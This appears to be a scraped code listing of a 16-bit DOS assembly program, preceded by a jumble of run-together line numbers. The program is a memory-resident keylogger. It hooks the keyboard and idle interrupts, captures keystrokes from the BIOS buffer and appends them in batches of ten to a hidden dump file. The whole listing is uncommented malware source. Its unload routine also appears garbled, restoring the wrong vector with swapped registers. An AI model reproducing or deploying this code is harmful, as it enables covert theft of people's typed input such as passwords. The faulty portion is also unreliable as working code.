| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143 |
- .286
- .model small
- .code
- org 100h
- start:
- mov ax, 4ch*4
- mov si, ax
- mov ax, 0
- mov es, ax
- mov ax, es:[si]
- cmp ax, 0FAC0h
- je UNLOAD
- mov old0x4Co, ax
- mov ax, es:[si+2]
- mov old0x4Cs, ax
- mov word ptr es:[si], 0FAC0h
- mov word ptr es:[si+2], cs
- mov ax, 3509h
- int 21h
- mov old0x9s, es
- mov old0x9o, bx
- mov ax, 3528h
- int 21h
- mov old0x28s, es
- mov old0x28o, bx
- mov ax, 2509h
- mov dx, offset NEW0x9
- int 21h
- mov ax, 2528h
- mov dx, offset NEW0x28
- int 21h
- mov ah, 31h
- mov dx, 50h
- int 21h
- UNLOAD: mov ax, es:[si+2]
- mov es, ax
- mov ax, 2509h
- mov ds, es:[offset old0x9o]
- mov dx, es:[offset old0x9s]
- int 21h
- mov ax, 2528h
- mov ds, es:[offset old0x9o]
- mov dx, es:[offset old0x9s]
- int 21h
- mov ax, es:[offset old0x4Co]
- mov bx, es:[offset old0x4Cs]
- mov cx, 0
- mov es, cx
- mov es:[4ch*4], ax
- mov es:[4ch*4+2], bx
- int 20h
- NEW0x9:
- pusha
- push es
- mov ax, 40h
- mov es, ax
- mov ax, es:[1ch]
- mov bx, ax
- pushf
- call dword ptr [old0x9o]
- mov ax, es:[1ch]
- cmp ax, bx
- je NOTNEWBUTT
- mov si, ax
- mov bx, cnt
- cmp si, 1ch
- jne OBLS
- mov dl, es:[3ch]
- jmp GGG
- OBLS: mov dl, es:[si-2]
- GGG: mov cs:buf[bx], dl
- inc cnt
- NOTNEWBUTT:
- cli
- mov al, 20h
- out 20h, al
- pop es
- popa
- iret
- NEW0x28:
- pusha
- push es
- pushf
- call dword ptr [old0x28o]
- cmp cnt, 10
- jne SHIT
- mov cnt, 0
- push ds
- push cs
- pop ds
- mov ax, 3d02h
- mov dx, offset fname
- int 21h
- jc create
- jmp cool
- create:
- mov ah, 3ch
- mov cx, 0
- mov dx, offset fname
- int 21h
- cool:
- mov bx, ax
- mov ah, 42h
- mov al, 2
- mov cx, 0
- mov dx, 0
- int 21h
- mov ah, 40h
- mov cx, 10
- mov dx, offset buf
- int 21h
- mov ah, 3eh
- int 21h
- pop ds
- SHIT:
- pop es
- popa
- iret
- old0x9o dw 0
- old0x9s dw 0
- old0x28o dw 0
- old0x28s dw 0
- OLD0x4Co dw 0
- OLD0x4Cs dw 0
- cnt dw 0
- buf db 10 dup (?)
- fname db 'fuck.dmp',0
- end start
|